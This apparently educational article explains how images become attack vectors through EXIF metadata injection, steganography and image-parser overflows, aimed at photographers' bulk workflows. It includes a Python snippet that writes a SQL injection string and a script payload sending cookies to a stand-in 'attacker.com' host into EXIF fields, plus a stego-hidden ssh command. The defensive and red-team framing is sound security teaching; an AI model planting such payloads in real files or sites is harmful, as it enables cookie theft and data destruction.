Image Payload Injection
Every Image Is Attack Surface
EXIF fields accept arbitrary data. Social platforms parse without validation. AI models ingest millions of images without sanitization.
Every parser = potential exploit.
Your camera writes GPS coords, serial numbers, timestamps. RAW processors embed ICC profiles, calibration curves, preview thumbnails. Platforms transform images through vulnerable parsers.
One weaponized JPEG in a batch of 500. Gets processed automatically. Code executes.
Three Attack Vectors
1. Metadata Injection
EXIF fields accept arbitrary data. Most apps parse without validation.
# Simple metadata payload
from PIL import Image
from PIL.ExifTags import TAGS
img = Image.open('fashion_shoot.jpg')
exif = img.getexif()
# Inject into Artist field (often displayed by galleries)
exif[0x013B] = "'; DROP TABLE users; --"
# Or into Comment (parsed by AI content analyzers)
exif[0x9286] = "<script>fetch('attacker.com/steal?cookie='+document.cookie)</script>"
img.save('weaponized.jpg', exif=exif)
Social platforms display photographer credits from EXIF Artist field. Some don't sanitize.
AI content analyzers parse Comment field for context. Some trust the input.
2. Steganography (Data Hiding)
Hide data in image pixels. Least significant bit manipulation. Invisible to eye, readable by decoder.
# LSB steganography - hide message in image
from stegano import lsb
# Hide payload in image
secret_msg = "ssh root@compromised-server.com -p 2222"
secret_img = lsb.hide('innocent_photo.png', secret_msg)
secret_img.save('shared_on_social.png')
# Extract later
revealed = lsb.reveal('shared_on_social.png')
# Output: "ssh root@compromised-server.com -p 2222"
Real-world use:
- Exfiltrate data through firewalls (embeds in Instagram posts)
- Command and control channels (images on public sites trigger actions)
- Watermarking bypass (strip visible watermark, payload survives)
3. Parser Exploits
Image parsers (JPEG, PNG, TIFF, RAW) are complex C/C++ codebases. Buffer overflows. Integer overflows. Heap corruption.
Example: PNG chunk overflow
PNG files contain chunks (IHDR, IDAT, tEXt). Each chunk has length field. Most parsers trust the length.
Normal PNG chunk:
[Length: 13 bytes][Chunk Type: IHDR][Data: 13 bytes][CRC: 4 bytes]
Malicious PNG:
[Length: 13 bytes][Chunk Type: IHDR][Data: 5000 bytes][CRC: crafted]
↑ Buffer overflow
Parser allocates 13 bytes based on length field. Reads 5000 bytes from file. Overflows buffer. Overwrites return address. Code execution.
RAW file parsers are worse:
- Proprietary formats (Canon CR2, Nikon NEF, Sony ARW)
- Less scrutiny than JPEG/PNG
- Used by professional photographers (trusted input)
- Parsed by Lightroom, Photoshop, Bridge (high-value targets)
Why This Matters
For attackers:
- Images bypass content filters (looks innocent)
- Reach AI training pipelines (poison datasets)
- Trigger exploits in parsers (0-days in libpng, libjpeg)
- Exfiltrate data through social platforms
For defenders:
- Strip all metadata before publishing
- Validate image dimensions vs. file size
- Sandbox image processing
- Use memory-safe parsers where possible
For red teamers:
- Test image upload endpoints
- Check if metadata survives processing
- Look for parser version disclosures
- Craft polyglot files (valid image + valid script)
Fashion Photography Attack Surface
High-end fashion shoots: 50MB+ RAW files. 500+ images per show. All carrying metadata.
Camera settings. Copyright info. Color profiles. GPS coordinates. Serial numbers.
Gets sent everywhere:
- Retouchers (trusted, less scrutiny)
- Agencies (automated processing)
- Cloud storage (parsed for previews)
- DAM systems (parsing everything)
One weaponized RAW in a batch of 500. Processed automatically. No validation.
